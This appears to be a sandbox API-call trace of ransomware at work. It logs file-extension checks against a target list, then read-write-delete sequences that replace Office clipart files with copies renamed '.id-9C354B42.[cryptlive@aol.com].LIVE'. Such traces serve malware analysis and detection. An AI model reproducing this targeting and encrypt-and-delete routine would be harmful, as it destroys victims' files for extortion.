lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.801] lstrlenW (lpString=".doc") returned 4 [0148.802] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.802] lstrlenW (lpString=".docx") returned 5 [0148.802] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.802] lstrlenW (lpString=".pdf") returned 4 [0148.802] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.802] lstrlenW (lpString=".xls") returned 4 [0148.802] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.802] lstrlenW (lpString=".xlsx") returned 5 [0148.802] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.802] lstrlenW (lpString=".ppt") returned 4 [0148.802] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.802] lstrlenW (lpString=".zip") returned 4 [0148.802] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.802] lstrlenW (lpString=".rar") returned 4 [0148.802] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.802] lstrlenW (lpString=".bz2") returned 4 [0148.802] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.802] lstrlenW (lpString=".7z") returned 3 [0148.802] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.802] lstrlenW (lpString=".dbf") returned 4 [0148.802] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.802] lstrlenW (lpString=".1cd") returned 4 [0148.802] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.802] lstrlenW (lpString=".jpg") returned 4 [0148.802] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.802] lstrlenW (lpString=".doc") returned 4 [0148.802] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.802] lstrlenW (lpString=".docx") returned 5 [0148.803] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.803] lstrlenW (lpString=".pdf") returned 4 [0148.803] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.803] lstrlenW (lpString=".xls") returned 4 [0148.803] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.803] lstrlenW (lpString=".xlsx") returned 5 [0148.803] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.803] lstrlenW (lpString=".ppt") returned 4 [0148.803] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.803] lstrlenW (lpString=".zip") returned 4 [0148.803] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.803] lstrlenW (lpString=".rar") returned 4 [0148.803] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.803] lstrlenW (lpString=".bz2") returned 4 [0148.803] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.803] lstrlenW (lpString=".7z") returned 3 [0148.803] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.803] lstrlenW (lpString=".dbf") returned 4 [0148.803] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.864] lstrlenW (lpString=".1cd") returned 4 [0148.864] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0148.864] lstrlenW (lpString=".jpg") returned 4 [0148.864] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.864] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.864] lstrlenW (lpString="J0099170.WMF") returned 12 [0148.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.261] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24292) returned 1 [0149.264] CloseHandle (hObject=0x3b4) returned 1 [0149.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0149.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.276] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.276] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.277] GetLastError () returned 0x0 [0149.277] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0149.280] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5ef0, lpOverlapped=0x0) returned 1 [0149.281] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.281] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.281] SetEndOfFile (hFile=0x3a0) returned 1 [0149.281] CloseHandle (hObject=0x3a0) returned 1 [0149.281] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.282] SetEndOfFile (hFile=0x3b4) returned 1 [0149.284] CloseHandle (hObject=0x3b4) returned 1 [0149.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0149.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.285] lstrlenW (lpString=".doc") returned 4 [0149.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.285] lstrlenW (lpString=".docx") returned 5 [0149.285] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0149.285] lstrlenW (lpString=".pdf") returned 4 [0149.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString=".xls") returned 4 [0149.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.286] lstrlenW (lpString=".xlsx") returned 5 [0149.286] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0149.286] lstrlenW (lpString=".ppt") returned 4 [0149.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.286] lstrlenW (lpString=".zip") returned 4 [0149.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.286] lstrlenW (lpString=".rar") returned 4 [0149.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString=".bz2") returned 4 [0149.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString=".7z") returned 3 [0149.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.286] lstrlenW (lpString=".dbf") returned 4 [0149.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.286] lstrlenW (lpString=".1cd") returned 4 [0149.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.286] lstrlenW (lpString=".jpg") returned 4 [0149.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.286] lstrlenW (lpString=".doc") returned 4 [0149.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString=".docx") returned 5 [0149.286] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0149.286] lstrlenW (lpString=".pdf") returned 4 [0149.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString=".xls") returned 4 [0149.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.287] lstrlenW (lpString=".xlsx") returned 5 [0149.287] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0149.287] lstrlenW (lpString=".ppt") returned 4 [0149.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.287] lstrlenW (lpString=".zip") returned 4 [0149.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.287] lstrlenW (lpString=".rar") returned 4 [0149.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString=".bz2") returned 4 [0149.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString=".7z") returned 3 [0149.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.287] lstrlenW (lpString=".dbf") returned 4 [0149.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.287] lstrlenW (lpString=".1cd") returned 4 [0149.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0149.287] lstrlenW (lpString=".jpg") returned 4 [0149.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.287] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.287] lstrlenW (lpString="J0099174.WMF") returned 12 [0149.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.288] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6214) returned 1 [0149.288] CloseHandle (hObject=0x3b4) returned 1 [0149.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0149.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.288] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.289] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.289] GetLastError () returned 0x0 [0149.289] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1846, lpOverlapped=0x0) returned 1 [0149.293] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1850, lpOverlapped=0x0) returned 1 [0149.294] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.294] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.294] SetEndOfFile (hFile=0x3a0) returned 1 [0149.294] CloseHandle (hObject=0x3a0) returned 1 [0149.294] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.294] SetEndOfFile (hFile=0x3b4) returned 1 [0149.296] CloseHandle (hObject=0x3b4) returned 1 [0149.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0149.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.297] lstrlenW (lpString=".doc") returned 4 [0149.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.297] lstrlenW (lpString=".docx") returned 5 [0149.297] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0149.297] lstrlenW (lpString=".pdf") returned 4 [0149.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.297] lstrlenW (lpString=".xls") returned 4 [0149.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.297] lstrlenW (lpString=".xlsx") returned 5 [0149.297] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0149.297] lstrlenW (lpString=".ppt") returned 4 [0149.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.297] lstrlenW (lpString=".zip") returned 4 [0149.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.297] lstrlenW (lpString=".rar") returned 4 [0149.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString=".bz2") returned 4 [0149.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString=".7z") returned 3 [0149.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.298] lstrlenW (lpString=".dbf") returned 4 [0149.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.298] lstrlenW (lpString=".1cd") returned 4 [0149.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.298] lstrlenW (lpString=".jpg") returned 4 [0149.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.298] lstrlenW (lpString=".doc") returned 4 [0149.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString=".docx") returned 5 [0149.298] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0149.298] lstrlenW (lpString=".pdf") returned 4 [0149.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString=".xls") returned 4 [0149.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.298] lstrlenW (lpString=".xlsx") returned 5 [0149.298] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0149.298] lstrlenW (lpString=".ppt") returned 4 [0149.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.298] lstrlenW (lpString=".zip") returned 4 [0149.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.298] lstrlenW (lpString=".rar") returned 4 [0149.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString=".bz2") returned 4 [0149.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.298] lstrlenW (lpString=".7z") returned 3 [0149.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.299] lstrlenW (lpString=".dbf") returned 4 [0149.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.299] lstrlenW (lpString=".1cd") returned 4 [0149.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0149.299] lstrlenW (lpString=".jpg") returned 4 [0149.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.299] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.299] lstrlenW (lpString="J0099175.WMF") returned 12 [0149.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.300] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9744) returned 1 [0149.300] CloseHandle (hObject=0x3b4) returned 1 [0149.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0149.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.300] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.301] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.301] GetLastError () returned 0x0 [0149.301] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2610, lpOverlapped=0x0) returned 1 [0149.303] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2620, lpOverlapped=0x0) returned 1 [0149.304] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.304] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.304] SetEndOfFile (hFile=0x3a0) returned 1 [0149.304] CloseHandle (hObject=0x3a0) returned 1 [0149.304] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.304] SetEndOfFile (hFile=0x3b4) returned 1 [0149.306] CloseHandle (hObject=0x3b4) returned 1 [0149.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0149.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.307] lstrlenW (lpString=".doc") returned 4 [0149.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.307] lstrlenW (lpString=".docx") returned 5 [0149.307] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0149.307] lstrlenW (lpString=".pdf") returned 4 [0149.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString=".xls") returned 4 [0149.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.308] lstrlenW (lpString=".xlsx") returned 5 [0149.308] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 